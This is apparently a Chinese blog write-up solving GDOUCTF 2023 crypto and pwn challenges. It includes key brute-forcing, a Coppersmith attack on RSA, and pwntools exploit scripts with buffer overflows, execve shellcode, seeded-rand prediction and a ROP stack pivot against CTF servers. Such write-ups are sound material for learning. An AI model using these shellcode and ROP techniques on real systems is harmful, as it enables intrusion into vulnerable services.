[GDOUCTF 2023] crypto pwn 部分

news/2024/5/19 21:26:11 标签: CTF

没时间参加,作了几个补了几个。

Crypto

Absolute_Baby_Encrytpion

通过js作的字符替换,再整个表替换回去即可。只是一直不清楚python里的字典怎么把键和值互换。把原程序里替换后就是键和值,反过来没有函数。

cipher = '+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&'
tab1 = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}

tab2 = {}
for v in tab1:
    tab2[tab1[v]]= v

plain = ''.join([tab2[c] for c in cipher])
print(plain)
#flag{c0rrectly_decrypted_the_$ecret_flag_encrypted_with_5up3r_easy_b@by_encryp7ion_alg0r!thm_written_in_vanil1a_js}

babylua

lua写的程序,好在md5大家都是一样的。

local flag = '' --这里是你要逆推出的flag
local md5 = require("md5")

math.randomseed(os.time())

local function randomStr(len)
    local rankStr = ""
    local randNum = 0
    for i = 1, len do
        randNum = math.random(1, 2)
        if randNum == 1 then
            rankStr = rankStr .. string.char(math.random(65, 90))
        elseif randNum == 2 then
            rankStr = rankStr .. string.char(math.random(97, 122))
        end
    end
    return rankStr
end

local seed = randomStr(4)
local key = md5.sumhexa(md5.sumhexa(seed))
print(key:sub(1,10))

secret = {}

for i = 1, #flag do
    secret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
end

for i, v in ipairs(secret) do
    io.write(v, ' ')
end

print()

--程序运行输出结果:
--b5e62abe84
--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
--请你分析代码,逆向推出flag

题目由4个字符的key来加密,直接爆破key就行了

from pwn import *
import string
from hashlib import md5

found = iters.bruteforce(lambda x: md5(md5(x.encode()).hexdigest().encode()).hexdigest()[:10] == 'b5e62abe84', string.ascii_letters,4)
print(found)

key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()

c = [200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]
p = [c[i]-key[i] for i in range(len(c))]
print(bytes(p))
#flag{He11o_Lua!!!}

Magic_Of_Encoding

这个没弄出来,后来问的别人。

题目把一个压缩包base64后插入好多fake base64后的值。当直接b64decode后由于插入的位置不是整4字符的位置,导致出现乱码无法把全部的fake删除。

所有fake长度都是3的倍数,编码后没有=

from base64 import *

msg = open('Magic_Of_Encoding.txt','rb').read()

blist = [b'flag{Xd_fake_flag_xD}', b'find_me_if_you_can', b'flag{not_the_correct_flag_lol}',
         b'\nflag{not_the_correct_flag_lol}\nflag{not_the_correct_flag_lol}\n']

#这些数据夹在密文中间(每段密文不都是3的整数倍,解码后会出现混乱,要先删除再解码)
for i in blist:
    msg = msg.replace(b64encode(i), b'')
open('aaa.zip', 'wb').write(b64decode(msg))

Math Problem

这个也没弄出来,也是问的,不过从此学会了一个:epsilon

#!/usr/bin/env sage
import secret
from Crypto.Util.number import *

p, q = getPrime(512), getPrime(512)
e, n = 0x10001, p * q
c = pow(bytes_to_long(secret.flag), e, n)
print(f"{e = }\n{n = }\n{c = }")

a, b = getPrime(512), getPrime(512)
E = EllipticCurve(GF(p), [a, b])
G = E.lift_x(ZZ(getPrime(64)))
print(f"{a = }\n{b = }\ny = {G.xy()[1]}")

这题是两块第1块是RSA,第2块是ECC,其中ECC的模是RSA里的p

ECC给出参数a,b和一个点的y值,x值是64位的素数。

1,对于求知模的椭圆曲线方程,在模p的情况成立,在模n的情况下也成立。可以用n作模求点的x值。

卡在这里了,coppersmith方法一般使用两个参数X和beta,其中X是所求常量的范围,beta是n的幂,一般要小于0.5允许1位小数,也就是0.4

其实还有第3个参数,不常用忽略了。epsilon这个一般是beta/7 ,表示作格基规约时取的规模,值越小规模越大,这个题需要从0.05一点点调,0.02才能成功。当然0.01时也行,只是运行时间很长。

2,求出x值后再代入方程与n取公约数求p

e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854


PR.<x> = PolynomialRing(Zmod(n))
f = x^3 + a*x + b - y^2 

#epsilon的话调得小对应的Lattice规模要大一点,应用起来的感觉就是耗时更长、求解的可能性更大
f.small_roots(X=2^64, beta=0.4, epsilon=0.02)

x = 9757458594430450711
p = gcd(int(f(x)),n)

q = n//p 
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}

PWN

ez_pwn

在check里password输入这用的gets有溢出,长度是15+v3+fd+v5,覆盖到v5即可。

int check()
{
  int result; // eax
  char buf[10]; // [rsp+7h] [rbp-29h] BYREF
  char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
  ssize_t v3; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("Can't access /dev/urandom.");
    exit(1);
  }
  v3 = read(fd, buf, 0xAuLL);
  if ( v3 < 0 )
  {
    puts("Data not received from /dev/urandom");
    exit(1);
  }
  close(fd);
  puts("Password:");
  gets(s1);
  result = strcmp(s1, buf);
  if ( result )
    result = puts("I swore that was the right password ...");
  else
    v5 = 1;
  if ( v5 )
  {
    puts("Guess I couldn't gaslight you!");
    return print_flag();
  }
  return result;
}
from pwn import *

p = remote('node4.anna.nssctf.cn', 28243)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Password:", b'\x00'*15+ p32(1)*4)
p.recvline()
p.recvline()
p.recvline()

p.interactive()

shellcode

这题也简单,bss可执行,只需要先写入shellcode再溢出跳过去就行,只是对shellcode长度有要求,不能超0x20,以前存了不少,有21字节的。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Please.");
  read(0, &name, 0x25uLL);
  puts("Nice to meet you.");
  puts("Let's start!");
  read(0, buf, 0x40uLL);
  return 0;
}
from pwn import *

#p = process('./ezshellcode')
p = remote('node4.anna.nssctf.cn', 28804)
context(arch='amd64', log_level='debug')

code = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendlineafter(b'Please.\n', code)
p.sendlineafter(b"Let's start!", b'\x00'*10 + p64(0x6010a0)*3)

p.interactive()

真男人下120层

前两天才从网友这问了这个问题,今天就出现了。

对于libc的srand(time(0))得到的是系统时间的秒数作种子,本地和远端都使用ntp同步,时间差不到1秒很正常。所以本地也作个srand(time(0))就一样了。这题要猜120次。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // eax
  int v6; // [rsp+8h] [rbp-18h] BYREF
  unsigned int i; // [rsp+Ch] [rbp-14h]
  __int64 v8; // [rsp+10h] [rbp-10h]
  unsigned __int64 v9; // [rsp+18h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v3 = time(0LL);
  srand(v3);
  v8 = 2772839826LL;
  v4 = rand();
  srand(v4 % 3 - 1522127470);
  printf("\x1B[31m");
  puts("\n\n");
  puts(" ##   ## #######  ####### ######## ####### ");
  puts(" ##   ##     ###  ##         ##    ##      ");
  puts(" #######   ###    ##         ##    ####    ");
  puts(" ##   ## ###      ##         ##    ##      ");
  puts(" ##   ## #######  #######    ##    ##      \n\n");
  printf("\x1B[0m");
  puts("Welcome!");
  puts(aThereAreFourDo);
  puts("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\n");
  for ( i = 1; (int)i <= 120; ++i )
  {
    print_door();
    printf("\t\t\tFloor %d\n\n", i);
    __isoc99_scanf("%d", &v6);
    if ( rand() % 4 + 1 != v6 )
    {
      printf("\x1B[31m");
      puts("YOU DIED!");
      printf("\x1B[0m");
      return 0;
    }
    system("clear");
  }
  puts("Congratulation!");
  cat_flag();
  return 0;
}

直接用ctypes调用个libc即可(另外,并不用关心libc的版本,rand基本相同)

from pwn import *
from ctypes import *

p = remote('node5.anna.nssctf.cn', 28480)

context(arch='amd64', log_level='debug')

libc = cdll.LoadLibrary("./libc-2.31.so")

libc.srand(libc.time(0))
libc.srand( libc.rand() % 3 - 1522127470)

for i in range(120):
    p.sendlineafter(b"", str(libc.rand() %4 + 1).encode())

p.recvline()

p.interactive()

Random

还是随机数,跟上题一样,然后有溢出,但溢出很小,所以要用个移栈。同时需要用ORW,这样payload会比较长。

ssize_t vulnerable()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("your door");
  return read(0, buf, 0x40uLL);
}

移栈会在leave ret时发生,会将rbp的值赋给rsp然后pop rdp然后再执行。

第1次由于rsp在栈上,位置不可控,所以要移到bss可写区里

第2次写入里在pay后部写两个然后向前移栈再进行写

第3次写到第1次后部让前边的0x10与后边的前0x20连一起,组成一个长的payload

这个payload执行read功能,向bss里写入orw

作完一想这里可能弄复杂了,第1次写完这里rsi是有值的,read的时候只需要pop rdx就行,那么两次移栈就行了,没必要弄3次。

from pwn import *
from ctypes import *

#p = remote('node5.anna.nssctf.cn', 28233)
p = process('./RANDOM')
context(arch='amd64', log_level='debug')

libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(libc.time(0))

elf = ELF('./RANDOM')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

pop_rdi = 0x0000000000400ae3 # pop rdi ; ret
pop_rsi = 0x0000000000400ae1 # pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400951 # pop rbp ; ret
leave_ret = 0x400948
bss = 0x601800
p.sendlineafter(b"please input a guess num:", str(libc.rand()%50 ).encode())


pay = flat(pop_rdi, elf.got['setbuf'], 0x40092c)
p.sendafter(b"your door\n", b'\x00'*0x20 + p64(bss) + pay)
libc_elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['setbuf']

#gdb.attach(p, 'b*0x400947')

print(f"{libc_elf.address= :x}")
pop_rdx_rsi = libc_elf.address + 0x00000000001151c9 # pop rdx ; pop rsi ; ret #next(libc_elf.search(asm('pop rdx;pop rsi;ret')))
pop_rax     = libc_elf.address + 0x000000000003a738 # pop rax ; ret #next(libc_elf.search(asm('pop rax;ret')))
#                                                        read(0,bss,0x100)
#
p.send(flat(bss+0x40,0x400931,0,0,bss-0x20,leave_ret, bss+0x38,pop_rdx_rsi))
p.send(flat(0x100,bss+0x20, libc_elf.sym['read'],0,bss+0x10, pop_rbp, bss+0x10,leave_ret))


par = [b'flag.txt',0,pop_rdi+1, pop_rdi+1, pop_rdi,bss+0x20, pop_rdx_rsi, 0, 0, libc_elf.sym['open'], 
                          pop_rdi,3, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['read'],
                          pop_rdi,1, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['write']]
p.send(flat(par))
p.recv()
p.interactive()

这回的rev都很难,就签了个到算了。


http://www.niftyadmin.cn/n/234064.html

相关文章

【C++ 二】选择结构、循环结构、跳转语句

选择结构、循环结构、跳转语句 文章目录选择结构、循环结构、跳转语句前言1 选择结构1.1 if语句1.2 三目运算符1.3 switch 语句2 循环结构2.1 while 循环语句2.2 do...while 循环语句2.3 for 循环语句2.4 嵌套循环3 跳转语句3.1 break 语句3.2 continue 语句3.3 goto语句总结前…

QT网络通信-服务器(一)

目录 1、简介 2 、TCP通信流程 3、基于TCP通信所需要的类 4、QT端设计 4.1项目建立 4.2 TCP网络程序设计 4.2.1 QT界面设计 4.2.2 UI布局 4.2.3 控件重命名 5、widget.h 6、widget.c 1、简介 网络有TCP和UDP。本文主要通过QT完成TCP网络设计&#xff0c;通过ESP8266与单片…

Python实现驾考自动答题,隔壁老王每次都100分....

人生苦短&#xff0c;我用python 不知道大家都考完驾照没&#xff1f; 这个驾照不管大家有没有&#xff0c;我相信大家都是这个&#xff1a; 朋友最近在考驾照&#xff0c;快考科一了… 我微微一笑当场给他整个活~ 用Python整了几十行代码&#xff0c;给朋友实现一下自动答…

你说你还不会Redis?别怕,今天带你搞定它!

Redis 前言 本文章是我学习过程中&#xff0c;不断总结而成&#xff0c;篇幅较长&#xff0c;可以根据选段阅读。 全篇17000字&#xff0c;图片 十三 张&#xff0c;预计用时1小时。 认识Redis 什么是Redis&#xff1f; 要使用一门技术&#xff0c;首先要知道这门技术是什…

Disentangled Graph Collaborative Filtering

代码地址&#xff1a;https://github.com/ xiangwang1223/disentangled_graph_collaborative_filtering Background&#xff1a; 现有模型在很大程度上以统一的方式对用户-物品关系进行建模(将模型看做黑盒&#xff0c;历史交互作为输入&#xff0c;Embedding作为输出。)&…

二叉排序树(二叉查找树)基本操作_20230417

二叉排序树&#xff08;二叉查找树&#xff09;基本操作_20230417 前言 二叉排序树首先是一颗二叉树&#xff0c;它不同于常规二叉树的地方在于&#xff0c;如果左子树不为空&#xff0c;那么左子树上所有结点的值都不大于根节点的值&#xff0c;如果右子树不为空&#xff0c…

Codeforces div2 C - Ian and Array Sorting题解

To thank Ian, Mary gifted an array a of length n to Ian. To make himself look smart, he wants to make the array in non-decreasing order by doing the following finitely many times: he chooses two adjacent elements ai​ and ai1​ (1≤i≤n−1), and increases …

【redis】缓存双写一致性之更新策略探讨(上)

系列文章目录 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 例如&#xff1a;第一章 Python 机器学习入门之pandas的使用 提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目…